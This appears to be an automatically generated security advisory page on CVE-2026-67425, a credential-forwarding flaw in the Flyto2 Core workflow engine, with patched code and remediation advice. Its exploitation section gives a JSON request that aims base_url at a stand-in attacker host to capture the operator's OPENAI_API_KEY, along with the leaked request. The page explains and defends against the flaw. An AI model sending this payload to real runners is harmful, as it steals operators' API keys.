CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-67425

CVE-2026-67425: Insecure Credential Forwarding in Flyto2 Core

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 30, 2026·6 min read·4 visits

Executive Summary (TL;DR)

Flyto2 Core incorrectly forwarded high-privilege, environment-derived API keys to caller-controlled endpoints. This allowed unauthenticated remote attackers to exfiltrate sensitive keys by specifying a public, attacker-controlled host as the base URL.

An insecure credential forwarding vulnerability in Flyto2 Core prior to version 2.26.6 allows attackers to exfiltrate operator API keys. This occurs because the system forwards environment-derived API keys to user-controlled custom endpoints, bypassing SSRF guards designed only for private target validation.

Vulnerability Overview

Flyto2 Core acts as an execution engine for automated workflows and AI agents, integrating with different language model platforms and vector databases. To interact with these backends, modules like llm.chat, ai.model, and vector.connector manage communication parameters, including API keys and target URLs.

By default, the engine retrieves system-wide credentials, such as OPENAI_API_KEY or ANTHROPIC_API_KEY, from environment variables when explicit caller credentials are absent. This mechanism was designed to simplify operation by allowing the runner to manage authentication implicitly on behalf of the workflow operator.

To allow integration with internal proxies or alternate interfaces like Ollama or vLLM, callers can provide a custom base_url. However, versions of Flyto2 Core prior to 2.26.6 automatically appended environment-derived system credentials to outgoing requests destined for these caller-specified base URLs, exposing the host system's high-privilege secrets.

Root Cause Analysis

The underlying security issue lies in a logical misalignment in how outbound destination control is enforced. The developers recognized the risks of allowing callers to define arbitrary target hosts, and they implemented an SSRF validation guard named validate_url_with_env_config.

However, this SSRF defense was designed specifically to prevent internal host enumeration and metadata access. It blocked requests to loopback addresses, RFC 1918 networks, and metadata endpoints (e.g., 169.254.169.254). It did not restrict outgoing traffic to public, routable internet destinations.

When a caller supplies a public, attacker-controlled host as the base_url, the SSRF validation guard passes the URL as safe. Because the engine does not distinguish between a user-supplied API key and a high-privilege environment-derived API key, it blindly appends the system credential in the Authorization header of the outgoing request to the custom server.

Code Analysis

The vulnerability was remediated by enforcing a boundary control that prevents system-level credentials from leaving the application runtime to an untrusted host. The patch introduces assert_env_credential_endpoint_allowed in src/core/utils.py to evaluate whether sending credentials is safe.

Below is the patched credential verification logic implemented in src/core/utils.py:

# src/core/utils.py
 
def _trusted_credential_hosts() -> list:
    """Operator-configured allowlist of hosts an env credential may be sent to.
    FLYTO_TRUSTED_LLM_HOSTS — comma-separated hostnames or fnmatch globs.
    """
    raw = os.environ.get('FLYTO_TRUSTED_LLM_HOSTS', '')
    return [h.strip().lower() for h in raw.split(',') if h.strip()]
 
 
def assert_env_credential_endpoint_allowed(base_url: Optional[str], key_from_env: bool) -> None:
    """Guard against leaking the operator's env-derived API key to an
    attacker-controlled endpoint (GHSA-qq9q-xgm3-xv9g).
    """
    if not key_from_env:
        return
    if not base_url:
        return
    host = (urlparse(base_url).hostname or '').lower()
    for pattern in _trusted_credential_hosts():
        if fnmatch.fnmatch(host, pattern):
            return
    raise CredentialEndpointError(
        "Refusing to send the environment-provided API key to a custom "
        f"endpoint ('{base_url}'). Supply an explicit 'api_key' for custom "
        "endpoints, or add the host to FLYTO_TRUSTED_LLM_HOSTS."
    )

This check is injected into the execution path of the integration modules, such as src/core/modules/atomic/llm/chat.py:

# src/core/modules/atomic/llm/chat.py
 
    # Get API key from environment if not provided
    key_from_env = False
    if not api_key:
        env_vars = {
            'openai': 'OPENAI_API_KEY',
            'anthropic': 'ANTHROPIC_API_KEY',
            'google': 'GOOGLE_AI_API_KEY',
        }
        env_var = env_vars.get(provider)
        if env_var:
            api_key = os.getenv(env_var)
            key_from_env = bool(api_key)
 
    # Enforce safe execution boundary
    try:
        assert_env_credential_endpoint_allowed(base_url, key_from_env)
    except CredentialEndpointError as e:
        return {
            'ok': False,
            'error': str(e),
            'error_code': 'ENV_KEY_UNTRUSTED_ENDPOINT'
        }

This architecture resolves the flaw. User-supplied credentials can still be directed to arbitrary targets, but system-wide keys are restricted to official endpoints or explicit configurations.

Exploitation Methodology

To exploit this vulnerability, an attacker must have access to send requests to an exposed Flyto2 execution runner or trigger an automation workflow that accepts input parameters.

The attacker starts by setting up an external HTTP listener on a public, routable IP address or domain under their control, such as https://attacker-controlled-endpoint.com/v1.

The attacker then dispatches a payload requesting execution of the llm.chat or related workflow module, supplying their listener address as the target server, while leaving the API credential fields empty:

{
  "module": "llm.chat",
  "params": {
    "provider": "openai",
    "model": "gpt-4o",
    "base_url": "https://attacker-controlled-endpoint.com/v1",
    "prompt": "Retrieve execution status",
    "api_key": ""
  }
}

During processing, the vulnerable runner resolves the empty api_key parameter to the environment variable OPENAI_API_KEY stored on the host system. Because the target URL does not map to private address spaces, it passes the SSRF filter and executes the outbound query.

The attacker's listener captures the request and extracts the raw, high-privilege credentials directly from the inbound HTTP headers:

POST /chat/completions HTTP/1.1
Host: attacker-controlled-endpoint.com
User-Agent: python-requests/2.31.0
Authorization: Bearer sk-proj-OPERATOR_SECRET_KEY
Content-Type: application/json

Impact & Risk Assessment

The successful exploitation of CVE-2026-67425 results in the compromise of host system API tokens. These keys can control billing capabilities, sensitive customer data, proprietary models, and fine-tuning configurations within connected cloud services.

Because the vulnerability has a CVSS v3.1 rating of 8.6, the scope transition metric (S:C) represents the elevated severity. The vulnerability in the local workflow engine leads directly to the complete exposure of keys and assets residing in external, independent cloud spaces.

While there is currently no active target exploitation reported in automated campaigns, the attack is trivial to coordinate. It does not require code execution inside the sandbox to succeed, relying instead on intended operational features of the kernel.

Remediation & Defense

All deployments running Flyto2 Core must be immediately upgraded to version 2.26.6 or later to integrate the validation checks. This ensures that any environment-derived keys are never forwarded to custom target servers without explicitly declared exceptions.

If you must utilize local proxies or external gateways, define your authorized destinations in the environment using the newly introduced variable:

export FLYTO_TRUSTED_LLM_HOSTS="llm-proxy.internal,*.company.com"

Additionally, apply network egress controls. Ensure that the servers running Flyto2 Core cannot connect to random public endpoints. Restrict outgoing outbound traffic to the strict list of authorized LLM platform APIs at the network firewall layer.

Official Patches

flytohubOfficial patch commit implementing boundary assertion on env-credentials

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
EPSS Probability
0.32%
Top 76% most exploited

Affected Systems

Flyto2 Core (flytohub/flyto-core)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Flyto2 Core
flytohub
< 2.26.62.26.6
AttributeDetail
CWE IDCWE-522, CWE-201
Attack VectorNetwork (AV:N)
CVSS v3.18.6 (High)
EPSS Score0.00319
ImpactConfidentiality High (C:H)
Exploit StatusProof-of-Concept / Verified Private
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1552Unsecured Credentials
Credential Access
T1567Exfiltration Over Web Service
Exfiltration
CWE-522
Insufficiently Protected Credentials

The product fails to sufficiently protect API credentials during runtime delegation, leading to insertion of sensitive information into sent data (CWE-201).

Known Exploits & Detection

GitHubProof of concept workflow setup describing extraction of keys using custom base_url triggers.

Vulnerability Timeline

Remediation commit authored by ChesterHsu
2026-07-07
GitHub Security Advisory GHSA-qq9q-xgm3-xv9g published
2026-07-29
Release of Flyto2 Core v2.26.6 containing the fix
2026-07-29
NVD Publication of CVE-2026-67425
2026-07-29

References & Sources

  • [1]Insecure Credential Forwarding in Flyto2 Core
  • [2]Fix Insecure Credential Forwarding Commit
  • [3]Flyto2 Core Release Tag v2.26.6
  • [4]NVD - CVE-2026-67425

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•27 minutes ago•CVE-2026-67427
8.6

CVE-2026-67427: Host Environment Variable Access Policy Bypass via Template Interpolation in Flyto2 Core

CVE-2026-67427 is a capability bypass vulnerability in the Flyto2 Core workflow execution kernel. Due to a logical inconsistency in how dynamic parameters are resolved, the system evaluates environment variables via template interpolation prior to executing capability filter validation. This permits unprivileged workflow definitions to completely bypass denylist restrictions on the `env.get` module, exfiltrating critical host configurations, API tokens, and credentials via allowed communication channels.

Amit Schendel
Amit Schendel
1 views•5 min read
•about 2 hours ago•CVE-2025-4318
9.0

CVE-2025-4318: Remote Code Execution in AWS Amplify codegen-ui

A critical remote code execution (RCE) vulnerability exists in AWS Amplify Studio's code-generation library (@aws-amplify/codegen-ui). An authenticated attacker with permissions to create or modify component schemas can inject malicious JavaScript code into those schemas. When the Amplify CLI or the build environment processes these schemas, the unvalidated expressions are executed within the host Node.js environment, leading to full system compromise.

Alon Barad
Alon Barad
6 views•5 min read
•about 3 hours ago•CVE-2026-67426
9.3

CVE-2026-67426: Unauthenticated Remote Code Execution and Secret Exfiltration in Flyto2 Core

CVE-2026-67426 is a critical vulnerability in Flyto2 Core prior to version 2.26.7. The standalone flyto-verification service binds to all interfaces (0.0.0.0) on port 8344 and exposes an unauthenticated POST /run endpoint. This endpoint accepts an arbitrary client-controlled callback URL and makes an outbound POST request containing the sensitive internal runner secret in the headers. Attackers can exploit this to retrieve the FLYTO_RUNNER_SECRET and perform Server-Side Request Forgery (SSRF) against internal network targets.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•CVE-2026-66066
9.8

CVE-2026-66066: Pre-Authentication Arbitrary File Read and Remote Code Execution in Ruby on Rails Active Storage

CVE-2026-66066 (popularly known as 'KindaRails2Shell') is a critical security vulnerability in the Active Storage component of Ruby on Rails. The vulnerability arises from an insecure default integration with the libvips image processing library via the ruby-vips gem. Under default configurations, Active Storage fails to restrict untrusted format loaders within libvips, allowing remote, unauthenticated attackers to upload malformed files that leverage external dataset features to read local server files. By extracting cryptographic secrets such as SECRET_KEY_BASE from the leaked file contents, attackers can forge signed Marshal serialization payloads to achieve remote code execution.

Alon Barad
Alon Barad
7 views•6 min read
•about 5 hours ago•CVE-2026-54722
8.7

CVE-2026-54722: Server-Side Request Forgery (SSRF) Bypass via Userinfo Stripping in dssrf-js

An SSRF validation bypass exists in dssrf-js (v1.0.3 and prior) due to an improper string normalization sequence inside is_url_safe. Before validating the host using Node's WHATWG parser, the helper strips the '@' symbol. This corrupts the parser's authority resolution, while the application's client requests the original, un-sanitized string containing internal IP targets.

Alon Barad
Alon Barad
5 views•6 min read
•about 6 hours ago•CVE-2026-54522
2.1

CVE-2026-54522: Same-Process Use-After-Free and Cross-Buffer Data Disclosure in msgpack-ruby

A Use-After-Free (UAF) vulnerability exists in msgpack-ruby prior to version 1.8.2. The MessagePack::Buffer#clear method returns the associated 4 KiB rmem page to the shared pool but fails to reset the buffer's tracking pointers (rmem_last, rmem_end, and rmem_owner). Subsequent write operations on the cleared buffer can alias the freed page, allowing concurrent buffers to access, disclose, or corrupt cross-buffer data. This issue is resolved in version 1.8.2.

Alon Barad
Alon Barad
7 views•5 min read